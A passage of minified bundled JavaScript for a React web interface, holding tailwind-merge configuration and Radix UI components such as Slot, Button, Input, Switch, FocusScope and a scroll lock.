r","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",ye,ge]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":I()}],"scroll-mx":[{"scroll-mx":I()}],"scroll-my":[{"scroll-my":I()}],"scroll-ms":[{"scroll-ms":I()}],"scroll-me":[{"scroll-me":I()}],"scroll-mt":[{"scroll-mt":I()}],"scroll-mr":[{"scroll-mr":I()}],"scroll-mb":[{"scroll-mb":I()}],"scroll-ml":[{"scroll-ml":I()}],"scroll-p":[{"scroll-p":I()}],"scroll-px":[{"scroll-px":I()}],"scroll-py":[{"scroll-py":I()}],"scroll-ps":[{"scroll-ps":I()}],"scroll-pe":[{"scroll-pe":I()}],"scroll-pt":[{"scroll-pt":I()}],"scroll-pr":[{"scroll-pr":I()}],"scroll-pb":[{"scroll-pb":I()}],"scroll-pl":[{"scroll-pl":I()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",ye,ge]}],fill:[{fill:["none",...$()]}],"stroke-w":[{stroke:[ke,rc,Yi,bg]}],stroke:[{stroke:["none",...$()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},HH=wH(UH);function Ee(...e){return HH(Ye(e))}const xj=ZU,qH=QU,FH=JU,wj=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(eH,{children:E.jsx(oj,{ref:r,sideOffset:t,className:Ee("z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));wj.displayName=oj.displayName;var VH=Symbol.for("react.lazy"),Cd=Eh[" use ".trim().toString()];function KH(e){return typeof e=="object"&&e!==null&&"then"in e}function Sj(e){return e!=null&&typeof e=="object"&&"$$typeof"in e&&e.$$typeof===VH&&"_payload"in e&&KH(e._payload)}function Rh(e){const t=GH(e),n=v.forwardRef((r,i)=>{let{children:l,...c}=r;Sj(l)&&typeof Cd=="function"&&(l=Cd(l._payload));const u=v.Children.toArray(l),f=u.find(XH);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}var YH=Rh("Slot");function GH(e){const t=v.forwardRef((n,r)=>{let{children:i,...l}=n;if(Sj(i)&&typeof Cd=="function"&&(i=Cd(i._payload)),v.isValidElement(i)){const c=QH(i),u=ZH(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var WH=Symbol("radix.slottable");function XH(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===WH}function ZH(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function QH(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}const lC=e=>typeof e=="boolean"?`${e}`:e===0?"0":e,sC=Ye,Dh=(e,t)=>n=>{var r;if(t?.variants==null)return sC(e,n?.class,n?.className);const{variants:i,defaultVariants:l}=t,c=Object.keys(i).map(h=>{const p=n?.[h],m=l?.[h];if(p===null)return null;const y=lC(p)||lC(m);return i[h][y]}),u=n&&Object.entries(n).reduce((h,p)=>{let[m,y]=p;return y===void 0||(h[m]=y),h},{}),f=t==null||(r=t.compoundVariants)===null||r===void 0?void 0:r.reduce((h,p)=>{let{class:m,className:y,...x}=p;return Object.entries(x).every(S=>{let[w,O]=S;return Array.isArray(O)?O.includes({...l,...u}[w]):{...l,...u}[w]===O})?[...h,m,y]:h},[]);return sC(e,c,f,n?.class,n?.className)},Vb=Dh("inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground hover:bg-destructive/90",outline:"border border-input bg-background hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-10 px-4 py-2",sm:"h-9 rounded-md px-3",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),or=v.forwardRef(({className:e,variant:t,size:n,asChild:r=!1,...i},l)=>{const c=r?YH:"button";return E.jsx(c,{className:Ee(Vb({variant:t,size:n,className:e})),ref:l,...i})});or.displayName="Button";const Rr=v.forwardRef(({className:e,type:t,...n},r)=>E.jsx("input",{type:t,className:Ee("flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",e),ref:r,...n}));Rr.displayName="Input";function Oj(e){const t=v.useRef({value:e,previous:e});return v.useMemo(()=>(t.current.value!==e&&(t.current.previous=t.current.value,t.current.value=e),t.current.previous),[e])}var kh="Switch",[JH]=Fn(kh),[e9,t9]=JH(kh),Ej=v.forwardRef((e,t)=>{const{__scopeSwitch:n,name:r,checked:i,defaultChecked:l,required:c,disabled:u,value:f="on",onCheckedChange:h,form:p,...m}=e,[y,x]=v.useState(null),S=De(t,T=>x(T)),w=v.useRef(!1),O=y?p||!!y.closest("form"):!0,[A,_]=Oa({prop:i,defaultProp:l??!1,onChange:h,caller:kh});return E.jsxs(e9,{scope:n,checked:A,disabled:u,children:[E.jsx(Ce.button,{type:"button",role:"switch","aria-checked":A,"aria-required":c,"data-state":Tj(A),"data-disabled":u?"":void 0,disabled:u,value:f,...m,ref:S,onClick:ue(e.onClick,T=>{_(j=>!j),O&&(w.current=T.isPropagationStopped(),w.current||T.stopPropagation())})}),O&&E.jsx(_j,{control:y,bubbles:!w.current,name:r,value:f,checked:A,required:c,disabled:u,form:p,style:{transform:"translateX(-100%)"}})]})});Ej.displayName=kh;var Aj="SwitchThumb",Cj=v.forwardRef((e,t)=>{const{__scopeSwitch:n,...r}=e,i=t9(Aj,n);return E.jsx(Ce.span,{"data-state":Tj(i.checked),"data-disabled":i.disabled?"":void 0,...r,ref:t})});Cj.displayName=Aj;var n9="SwitchBubbleInput",_j=v.forwardRef(({__scopeSwitch:e,control:t,checked:n,bubbles:r=!0,...i},l)=>{const c=v.useRef(null),u=De(c,l),f=Oj(n),h=BM(t);return v.useEffect(()=>{const p=c.current;if(!p)return;const m=window.HTMLInputElement.prototype,x=Object.getOwnPropertyDescriptor(m,"checked").set;if(f!==n&&x){const S=new Event("click",{bubbles:r});x.call(p,n),p.dispatchEvent(S)}},[f,n,r]),E.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...i,tabIndex:-1,ref:u,style:{...i.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});_j.displayName=n9;function Tj(e){return e?"checked":"unchecked"}var Nj=Ej,r9=Cj;const cd=v.forwardRef(({className:e,...t},n)=>E.jsx(Nj,{className:Ee("peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input",e),...t,ref:n,children:E.jsx(r9,{className:Ee("pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0")})}));cd.displayName=Nj.displayName;function g0(e,[t,n]){return Math.min(n,Math.max(t,e))}function cC(e){const t=a9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(o9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function a9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=s9(i),u=l9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var i9=Symbol("radix.slottable");function o9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===i9}function l9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function s9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function Kb(e){const t=e+"CollectionProvider",[n,r]=Fn(t),[i,l]=n(t,{collectionRef:{current:null},itemMap:new Map}),c=w=>{const{scope:O,children:A}=w,_=hi.useRef(null),T=hi.useRef(new Map).current;return E.jsx(i,{scope:O,itemMap:T,collectionRef:_,children:A})};c.displayName=t;const u=e+"CollectionSlot",f=cC(u),h=hi.forwardRef((w,O)=>{const{scope:A,children:_}=w,T=l(u,A),j=De(O,T.collectionRef);return E.jsx(f,{ref:j,children:_})});h.displayName=u;const p=e+"CollectionItemSlot",m="data-radix-collection-item",y=cC(p),x=hi.forwardRef((w,O)=>{const{scope:A,children:_,...T}=w,j=hi.useRef(null),M=De(O,j),P=l(p,A);return hi.useEffect(()=>(P.itemMap.set(j,{ref:j,...T}),()=>{P.itemMap.delete(j)})),E.jsx(y,{[m]:"",ref:M,children:_})});x.displayName=p;function S(w){const O=l(e+"CollectionConsumer",w);return hi.useCallback(()=>{const _=O.collectionRef.current;if(!_)return[];const T=Array.from(_.querySelectorAll(`[${m}]`));return Array.from(O.itemMap.values()).sort((P,R)=>T.indexOf(P.ref.current)-T.indexOf(R.ref.current))},[O.collectionRef,O.itemMap])}return[{Provider:c,Slot:h,ItemSlot:x},S,r]}var c9=v.createContext(void 0);function Kc(e){const t=v.useContext(c9);return e||t||"ltr"}var xg=0;function Yb(){v.useEffect(()=>{const e=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",e[0]??uC()),document.body.insertAdjacentElement("beforeend",e[1]??uC()),xg++,()=>{xg===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(t=>t.remove()),xg--}},[])}function uC(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.outline="none",e.style.opacity="0",e.style.position="fixed",e.style.pointerEvents="none",e}var wg="focusScope.autoFocusOnMount",Sg="focusScope.autoFocusOnUnmount",fC={bubbles:!1,cancelable:!0},u9="FocusScope",Lh=v.forwardRef((e,t)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:i,onUnmountAutoFocus:l,...c}=e,[u,f]=v.useState(null),h=en(i),p=en(l),m=v.useRef(null),y=De(t,w=>f(w)),x=v.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;v.useEffect(()=>{if(r){let w=function(T){if(x.paused||!u)return;const j=T.target;u.contains(j)?m.current=j:pi(m.current,{select:!0})},O=function(T){if(x.paused||!u)return;const j=T.relatedTarget;j!==null&&(u.contains(j)||pi(m.current,{select:!0}))},A=function(T){if(document.activeElement===document.body)for(const M of T)M.removedNodes.length>0&&pi(u)};document.addEventListener("focusin",w),document.addEventListener("focusout",O);const _=new MutationObserver(A);return u&&_.observe(u,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",O),_.disconnect()}}},[r,u,x.paused]),v.useEffect(()=>{if(u){hC.add(x);const w=document.activeElement;if(!u.contains(w)){const A=new CustomEvent(wg,fC);u.addEventListener(wg,h),u.dispatchEvent(A),A.defaultPrevented||(f9(v9(Mj(u)),{select:!0}),document.activeElement===w&&pi(u))}return()=>{u.removeEventListener(wg,h),setTimeout(()=>{const A=new CustomEvent(Sg,fC);u.addEventListener(Sg,p),u.dispatchEvent(A),A.defaultPrevented||pi(w??document.body,{select:!0}),u.removeEventListener(Sg,p),hC.remove(x)},0)}}},[u,h,p,x]);const S=v.useCallback(w=>{if(!n&&!r||x.paused)return;const O=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,A=document.activeElement;if(O&&A){const _=w.currentTarget,[T,j]=d9(_);T&&j?!w.shiftKey&&A===j?(w.preventDefault(),n&&pi(T,{select:!0})):w.shiftKey&&A===T&&(w.preventDefault(),n&&pi(j,{select:!0})):A===_&&w.preventDefault()}},[n,r,x.paused]);return E.jsx(Ce.div,{tabIndex:-1,...c,ref:y,onKeyDown:S})});Lh.displayName=u9;function f9(e,{select:t=!1}={}){const n=document.activeElement;for(const r of e)if(pi(r,{select:t}),document.activeElement!==n)return}function d9(e){const t=Mj(e),n=dC(t,e),r=dC(t.reverse(),e);return[n,r]}function Mj(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const i=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||i?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function dC(e,t){for(const n of e)if(!h9(n,{upTo:t}))return n}function h9(e,{upTo:t}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t!==void 0&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function p9(e){return e instanceof HTMLInputElement&&"select"in e}function pi(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&p9(e)&&t&&e.select()}}var hC=m9();function m9(){let e=[];return{add(t){const n=e[0];t!==n&&n?.pause(),e=pC(e,t),e.unshift(t)},remove(t){e=pC(e,t),e[0]?.resume()}}}function pC(e,t){const n=[...e],r=n.indexOf(t);return r!==-1&&n.splice(r,1),n}function v9(e){return e.filter(t=>t.tagName!=="A")}function g9(e){const t=y9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(x9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function y9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=S9(i),u=w9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var b9=Symbol("radix.slottable");function x9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===b9}function w9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function S9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var O9=function(e){if(typeof document>"u")return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},vl=new WeakMap,Uf=new WeakMap,Hf={},Og=0,jj=function(e){return e&&(e.host||jj(e.parentNode))},E9=function(e,t){return t.map(function(n){if(e.contains(n))return n;var r=jj(n);return r&&e.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",e,". Doing nothing"),null)}).filter(function(n){return!!n})},A9=function(e,t,n,r){var i=E9(t,Array.isArray(e)?e:[e]);Hf[n]||(Hf[n]=new WeakMap);var l=Hf[n],c=[],u=new Set,f=new Set(i),h=function(m){!m||u.has(m)||(u.add(m),h(m.parentNode))};i.forEach(h);var p=function(m){!m||f.has(m)||Array.prototype.forEach.call(m.children,function(y){if(u.has(y))p(y);else try{var x=y.getAttribute(r),S=x!==null&&x!=="false",w=(vl.get(y)||0)+1,O=(l.get(y)||0)+1;vl.set(y,w),l.set(y,O),c.push(y),w===1&&S&&Uf.set(y,!0),O===1&&y.setAttribute(n,"true"),S||y.setAttribute(r,"true")}catch(A){console.error("aria-hidden: cannot operate on ",y,A)}})};return p(t),u.clear(),Og++,function(){c.forEach(function(m){var y=vl.get(m)-1,x=l.get(m)-1;vl.set(m,y),l.set(m,x),y||(Uf.has(m)||m.removeAttribute(r),Uf.delete(m)),x||m.removeAttribute(n)}),Og--,Og||(vl=new WeakMap,vl=new WeakMap,Uf=new WeakMap,Hf={})}},Gb=function(e,t,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(e)?e:[e]),i=O9(e);return i?(r.push.apply(r,Array.from(i.querySelectorAll("[aria-live], script"))),A9(r,i,n,"aria-hidden")):function(){return null}},Dr=function(){return Dr=Object.assign||function(t){for(var n,r=1,i=arguments.length;r"u")return H9;var t=q9(e),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,r-n+t[2]-t[0])}},V9=kj(),_l="data-scroll-locked",K9=function(e,t,n,r){var i=e.left,l=e.top,c=e.right,u=e.gap;return n===void 0&&(n="margin"),` - .`.concat(_9,` { - overflow: hidden `).concat(r,`; - padding-right: `).concat(u,"px ").concat(r,`; - } - body[`).concat(_l,`] { - overflow: hidden `).concat(r,`; - overscroll-behavior: contain; - `).concat([t&&"position: relative ".concat(r,";"),n==="margin"&&` - padding-left: `.concat(i,`px; - padding-top: `).concat(l,`px; - padding-right: `).concat(c,`px; - margin-left:0; - margin-top:0; - margin-right: `).concat(u,"px ").concat(r,`; - `),n==="padding"&&"padding-right: ".concat(u,"px ").concat(r,";")].filter(Boolean).join(""),` - } - - .`).concat(ud,` { - right: `).concat(u,"px ").concat(r,`; - } - - .`).concat(fd,` { - margin-right: `).concat(u,"px ").concat(r,`; - } - - .`).concat(ud," .").concat(ud,` { - right: 0 `).concat(r,`; - } - - .`).concat(fd," .").concat(fd,` { - margin-right: 0 `).concat(r,`; - } - - body[`).concat(_l,`] { - `).concat(T9,": ").concat(u,`px; - } -`)},vC=function(){var e=parseInt(document.body.getAttribute(_l)||"0",10);return isFinite(e)?e:0},Y9=function(){v.useEffect(function(){return document.body.setAttribute(_l,(vC()+1).toString()),function(){var e=vC()-1;e<=0?document.body.removeAttribute(_l):document.body.setAttribute(_l,e.toString())}},[])},G9=function(e){var t=e.noRelative,n=e.noImportant,r=e.gapMode,i=r===void 0?"margin":r;Y9();var l=v.useMemo(function(){return F9(i)},[i]);return v.createElement(V9,{styles:K9(l,!t,i,n?"":"!important")})},y0=!1;if(typeof window<"u")try{var qf=Object.defineProperty({},"passive",{get:function(){return y0=!0,!0}});window.addEventListener("test",qf,qf),window.removeEventListener("test",qf,qf)}catch{y0=!1}var gl=y0?{passive:!1}:!1,W9=function(e){return e.tagName==="TEXTAREA"},Lj=function(e,t){if(!(e instanceof Element))return!1;var n=window.getComputedStyle(e);return n[t]!=="hidden"&&!(n.overflowY===n.overflowX&&!W9(e)&&n[t]==="visible")},X9=function(e){return Lj(e,"overflowY")},Z9=function(e){return Lj(e,"overflowX")},gC=function(e,t){var n=t.ownerDocument,r=t;do{typeof ShadowRoot<"u"&&r instanceof ShadowRoot&&(r=r.host);var i=Ij(e,r);if(i){var l=zj(e,r),c=l[1],u=l[2];if(c>u)return!0}r=r.parentNode}while(r&&r!==n.body);return!1},Q9=function(e){var t=e.scrollTop,n=e.scrollHeight,r=e.clientHeight;return[t,n,r]},J9=function(e){var t=e.scrollLeft,n=e.scrollWidth,r=e.clientWidth;return[t,n,r]},Ij=function(e,t){return e==="v"?X9(t):Z9(t)},zj=function(e,t){return e==="v"?Q9(t):J9(t)},e7=function(e,t){return e==="h"&&t==="rtl"?-1:1},t7=function(e,t,n,r,i){var l=e7(e,window.getComputedStyle(t).direction),c=l*r,u=n.target,f=t.contains(u),h=!1,p=c>0,m=0,y=0;do{if(!u)break;var x=zj(e,u),S=x[0],w=x[1],O=x[2],A=w-O-l*S;(S||A)&&Ij(e,u)&&(m+=A,y+=S);var _=u.parentNode;u=_&&_.nodeType===Node.DOCUMENT_FRAGMENT_NODE?_.host:_}while(!f&&u!==document.body||f&&(t.contains(u)||t===u));return(p&&Math.abs(m)<1||!p&&Math.abs(y)<1)&&(h=!0),h},Ff=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},yC=function(e){return[e.deltaX,e.deltaY]},bC=function(e){return e&&"current"in e?e.current:e},n7=function(e,t){return e[0]===t[0]&&e[1]===t[1]},r7=function(e){return` - .block-interactivity-`.concat(e,` {pointer-events: none;} - .allow-interactivity-`).concat(e,` {pointer-events: all;} -`)},a7=0,yl=[];function i7(e){var t=v.useRef([]),n=v.useRef([0,0]),r=v.useRef(),i=v.useState(a7++)[0],l=v.useState(kj)[0],c=v.useRef(e);v.useEffect(function(){c.current=e},[e]),v.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(i));var w=C9([e.lockRef.current],(e.shards||[]).map(bC),!0).filter(Boolean);return w.forEach(function(O){return O.classList.add("allow-interactivity-".concat(i))}),function(){document.body.classList.remove("block-interactivity-".concat(i)),w.forEach(function(O){return O.classList.remove("allow-interactivity-".concat(i))})}}},[e.inert,e.lockRef.current,e.shards]);var u=v.useCallback(function(w,O){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!c.current.allowPinchZoom;var A=Ff(w),_=n.current,T="deltaX"in w?w.deltaX:_[0]-A[0],j="deltaY"in w?w.deltaY:_[1]-A[1],M,P=w.target,R=Math.abs(T)>Math.abs(j)?"h":"v";if("touches"in w&&R==="h"&&P.type==="range")return!1;var I=window.getSelection(),B=I&&I.anchorNode,q=B?B===P||B.contains(P):!1;if(q)return!1;var U=gC(R,P);if(!U)return!0;if(U?M=R:(M=R==="v"?"h":"v",U=gC(R,P)),!U)return!1;if(!r.current&&"changedTouches"in w&&(T||j)&&(r.current=M),!M)return!0;var V=r.current||M;return t7(V,O,w,V==="h"?T:j)},[]),f=v.useCallback(function(w){var O=w;if(!(!yl.length||yl[yl.length-1]!==l)){var A="deltaY"in O?yC(O):Ff(O),_=t.current.filter(function(M){return M.name===O.type&&(M.target===O.target||O.target===M.shadowParent)&&n7(M.delta,A)})[0];if(_&&_.should){O.cancelable&&O.preventDefault();return}if(!_){var T=(c.current.shards||[]).map(bC).filter(Boolean).filter(function(M){return M.contains(O.target)}),j=T.length>0?u(O,T[0]):!c.current.noIsolation;j&&O.cancelable&&O.preventDefault()}}},[]),h=v.useCallback(function(w,O,A,_){var T={name:w,delta:O,target:A,should:_,shadowParent:o7(A)};t.current.push(T),setTimeout(function(){t.current=t.current.filter(function(j){return j!==T})},1)},[]),p=v.useCallback(function(w){n.current=Ff(w),r.current=void 0},[]),m=v.useCallback(function(w){h(w.type,yC(w),w.target,u(w,e.lockRef.current))},[]),y=v.useCallback(function(w){h(w.type,Ff(w),w.target,u(w,e.lockRef.current))},[]);v.useEffect(function(){return yl.push(l),e.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:y}),document.addEventListener("wheel",f,gl),document.addEventListener("touchmove",f,gl),document.addEventListener("touchstart",p,gl),function(){yl=yl.filter(function(w){return w!==l}),document.removeEventListener("wheel",f,gl),document.removeEventListener("touchmove",f,gl),document.removeEventListener("touchstart",p,gl)}},[]);var x=e.removeScrollBar,S=e.inert;return v.createElement(v.Fragment,null,S?v.createElement(l,{styles:r7(i)}):null,x?v.createElement(G9,{noRelative:e.noRelative,gapMode:e.gapMode}):null)}function o7(e){for(var t=null;e!==null;)e instanceof ShadowRoot&&(t=e.host,e=e.host),e=e.parentNode;return t}const l7=k9(Dj,i7);var zh=v.forwardRef(function(e,t){return v.createElement(Ih,Dr({},e,{ref:t,sideCar:l7}))});zh.classNames=Ih.classNames;var s7=[" ","Enter","ArrowUp","ArrowDown"],c7=[" 